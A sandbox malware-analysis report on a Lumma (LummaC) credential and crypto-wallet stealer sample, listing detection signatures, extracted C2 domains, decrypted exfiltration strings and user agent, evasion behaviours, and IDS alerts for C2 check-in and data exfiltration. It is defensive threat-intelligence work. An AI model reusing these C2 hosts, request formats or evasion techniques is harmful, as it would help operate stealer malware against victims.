Edit tour

Windows Analysis Report
uUtgy7BbF1.exe

Overview

General Information

Sample name:	uUtgy7BbF1.exe renamed because original name is a hash value
Original sample name:	425be48f2d7cc72615c4cdfda5341832.exe
Analysis ID:	1581192
MD5:	425be48f2d7cc72615c4cdfda5341832
SHA1:	093d262086312a5f86ec903ea321cfbe0d3bb4fe
SHA256:	4c55b2bc8fb77aaaf71552039073386e76cce6ee45fee54d2c8fd84aba97d691
Tags:	exeLummaStealeruser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

uUtgy7BbF1.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\uUtgy7BbF1.exe" MD5: 425BE48F2D7CC72615C4CDFDA5341832)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

uUtgy7BbF1.exe (PID: 7580 cmdline: "C:\Users\user\Desktop\uUtgy7BbF1.exe" MD5: 425BE48F2D7CC72615C4CDFDA5341832)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["curverpluch.lat", "shapestickyr.lat", "bashfulacid.lat", "slipperyloo.lat", "talkynicer.lat", "tentabatte.lat", "wordyfindy.lat", "manyrestro.lat", "volcanohushe.click"], "Build id": "pqZnKP--c3Rld3dz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.1481155531.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1480945277.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1480812391.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uUtgy7BbF1.exe PID: 7580	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: uUtgy7BbF1.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uUtgy7BbF1.exe PID: 7580	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: uUtgy7BbF1.exe PID: 7580	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:06.163000+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:08.351844+0100	2028371	3	Unknown Traffic	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:10.869660+0100	2028371	3	Unknown Traffic	192.168.2.9	49719	104.21.71.155	443	TCP
2024-12-27T08:15:13.916099+0100	2028371	3	Unknown Traffic	192.168.2.9	49725	104.21.71.155	443	TCP
2024-12-27T08:15:16.622137+0100	2028371	3	Unknown Traffic	192.168.2.9	49731	104.21.71.155	443	TCP
2024-12-27T08:15:19.857325+0100	2028371	3	Unknown Traffic	192.168.2.9	49742	104.21.71.155	443	TCP
2024-12-27T08:15:22.743964+0100	2028371	3	Unknown Traffic	192.168.2.9	49750	104.21.71.155	443	TCP
2024-12-27T08:15:26.672861+0100	2028371	3	Unknown Traffic	192.168.2.9	49758	104.21.71.155	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:06.908362+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:09.131944+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:27.536196+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49758	104.21.71.155	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:06.908362+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49707	104.21.71.155	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:09.131944+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49708	104.21.71.155	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:06.163000+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:08.351844+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:10.869660+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49719	104.21.71.155	443	TCP
2024-12-27T08:15:13.916099+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49725	104.21.71.155	443	TCP
2024-12-27T08:15:16.622137+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49731	104.21.71.155	443	TCP
2024-12-27T08:15:19.857325+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49742	104.21.71.155	443	TCP
2024-12-27T08:15:22.743964+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49750	104.21.71.155	443	TCP
2024-12-27T08:15:26.672861+0100	2058535	1	Domain Observed Used for C2 Detected	192.168.2.9	49758	104.21.71.155	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (volcanohushe .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:04.525486+0100	2058534	1	Domain Observed Used for C2 Detected	192.168.2.9	55687	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:18.188581+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49731	104.21.71.155	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:15:22.750164+0100	2843864	1	A Network Trojan was detected	192.168.2.9	49750	104.21.71.155	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://volcanohushe.click/T	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/apiNA	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/apiND	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/api	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click:443/apiCLSID	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/apip	Avira URL Cloud: Label: malware
Source: volcanohushe.click	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/apis	Avira URL Cloud: Label: malware
Source: https://volcanohushe.click/ND	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["curverpluch.lat", "shapestickyr.lat", "bashfulacid.lat", "slipperyloo.lat", "talkynicer.lat", "tentabatte.lat", "wordyfindy.lat", "manyrestro.lat", "volcanohushe.click"], "Build id": "pqZnKP--c3Rld3dz"}

Multi AV Scanner detection for submitted file

Source: uUtgy7BbF1.exe	Virustotal: Detection: 69%			Perma Link
Source: uUtgy7BbF1.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.0% probability

Machine Learning detection for sample

Source: uUtgy7BbF1.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: volcanohushe.click
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String decryptor: pqZnKP--c3Rld3dz

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_00417745 CryptUnprotectData,

3_2_00417745

Source: uUtgy7BbF1.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49758 version: TLS 1.2

Source: uUtgy7BbF1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00690CF8 FindFirstFileExW,	0_2_00690CF8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00690DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00690DA9
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00690CF8 FindFirstFileExW,	3_2_00690CF8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00690DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00690DA9

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6E87DD67h	3_2_0042D0CD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax]	3_2_0040D11B
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edi, eax	3_2_0040D11B
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, ecx	3_2_00409400
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx-65h]	3_2_0043D4E1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000278h]	3_2_00417745
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, eax	3_2_00440770
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4557D5DCh]	3_2_004387D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, eax	3_2_00429070
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then xor ebx, ebx	3_2_00429070
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ebx, eax	3_2_004058D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ebp, eax	3_2_004058D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 138629C0h	3_2_004158FC
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00416896
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+48h]	3_2_0042C89E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042B8BD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042B963
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx+04h]	3_2_0040D907
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	3_2_00440180
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 8AE4A158h	3_2_0041598C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 088030A7h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 11A82DE9h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 11A82DE9h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6E87DD67h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, eax	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6E87DD67h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 798ECF08h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 11A82DE9h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+06h]	3_2_0041B9A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-5C093193h]	3_2_0041B25A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, ebx	3_2_00417A75
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, eax	3_2_00417207
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042B215
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then jmp ecx	3_2_0043F286
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+18h]	3_2_004142A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_004142A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-2DCF3881h]	3_2_004142A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, eax	3_2_004142A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00417AB8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov dword ptr [esp], ecx	3_2_0042BB60
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov dword ptr [esp], ecx	3_2_0042BB66
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B70
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-00000098h]	3_2_00421B00
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+02h]	3_2_00421B00
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, eax	3_2_0043DB10
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, eax	3_2_0043D325
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_004163C0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4EB33D1Fh]	3_2_004163C0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+28h]	3_2_004163C0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then test eax, eax	3_2_004393D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then push eax	3_2_004393D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_004073F0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_004073F0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0041A3A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp word ptr [edi+ecx+02h], 0000h	3_2_0040B3BB
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx-2Ch]	3_2_0043E450
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	3_2_00440450
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, eax	3_2_00426430
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov eax, dword ptr [esi+28h]	3_2_0040E49F
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov eax, dword ptr [0044A454h]	3_2_0040C4AE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042856C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, dword ptr [00446180h]	3_2_00415506
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 120360DAh	3_2_00415506
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00418DC5
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	3_2_0041D5B0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h]	3_2_0041864E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00428630
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp cl, 0000002Eh	3_2_00426639
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00426639
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-1EB1B608h]	3_2_0042963E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+28h]	3_2_00417EEE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, ecx	3_2_00417EEE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00429E80
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov edx, ecx	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], C50B4B65h	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E0A81160h	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-098D4F7Eh]	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	3_2_0043CEA0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00409EB9
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then mov ecx, eax	3_2_00418F52
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00435F00
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-1EB1B608h]	3_2_0042963E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx]	3_2_0040AF23
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx]	3_2_0043F730
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_004167E1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then jmp eax	3_2_00424F80
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ebp-1EB1B624h]	3_2_004257AC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058534 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (volcanohushe .click) : 192.168.2.9:55687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49707 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49708 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49725 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49731 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49758 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49719 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49742 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2058535 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI) : 192.168.2.9:49750 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49731 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49708 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49708 -> 104.21.71.155:443
